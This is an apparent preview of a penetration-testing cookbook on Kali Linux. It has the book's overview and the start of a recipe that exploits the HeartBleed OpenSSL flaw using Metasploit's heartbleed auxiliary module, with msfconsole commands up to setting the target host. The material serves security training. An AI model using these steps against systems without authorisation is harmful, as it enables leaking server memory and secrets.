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Kali Linux - An Ethical Hacker's Cookbook

Kali Linux - An Ethical Hacker's Cookbook

By : Himanshu Sharma
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Kali Linux - An Ethical Hacker's Cookbook

Kali Linux - An Ethical Hacker's Cookbook

3.8 (20)
By: Himanshu Sharma

Overview of this book

With the current rate of hacking, it is very important to pentest your environment in order to ensure advanced-level security. This book is packed with practical recipes that will quickly get you started with Kali Linux (version 2016.2) according to your needs, and move on to core functionalities. This book will start with the installation and configuration of Kali Linux so that you can perform your tests. You will learn how to plan attack strategies and perform web application exploitation using tools such as Burp, and Jexboss. You will also learn how to perform network exploitation using Metasploit, Sparta, and Wireshark. Next, you will perform wireless and password attacks using tools such as Patator, John the Ripper, and airoscript-ng. Lastly, you will learn how to create an optimum quality pentest report! By the end of this book, you will know how to conduct advanced penetration testing thanks to the book’s crisp and task-oriented recipes.
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6
Wireless Attacks – Getting Past Aircrack-ng

A tale of a bleeding heart


HeartBleed is a vulnerability in OpenSSL cryptography, which is said to be introduced in 2012 and publicly disclosed in 2014. It is a buffer over-read vulnerability where more data can be read than is allowed.

In this recipe, you will learn how to exploit HeartBleed using Metasploit's auxiliary module.

How to do it...

To learn about HeartBleed follow the given steps:

  1. We start the msfconsole by typing this:
        msfconsole

The following screenshot shows the output for the preceding command:

  1. We then search for the HeartBleed auxiliary using the following command:
        search heartbleed

The following screenshot shows the output for the preceding command:

  1. Next, we use the auxiliary using the following command:
        use auxiliary/scanner/ssl/openssl_heartbleed
  1. We then see the options using the following command:
        show options

The following screenshot shows the output for the preceding command:

  1. Now we set the RHOSTS to our target IP using this:
        set RHOSTS x.x...

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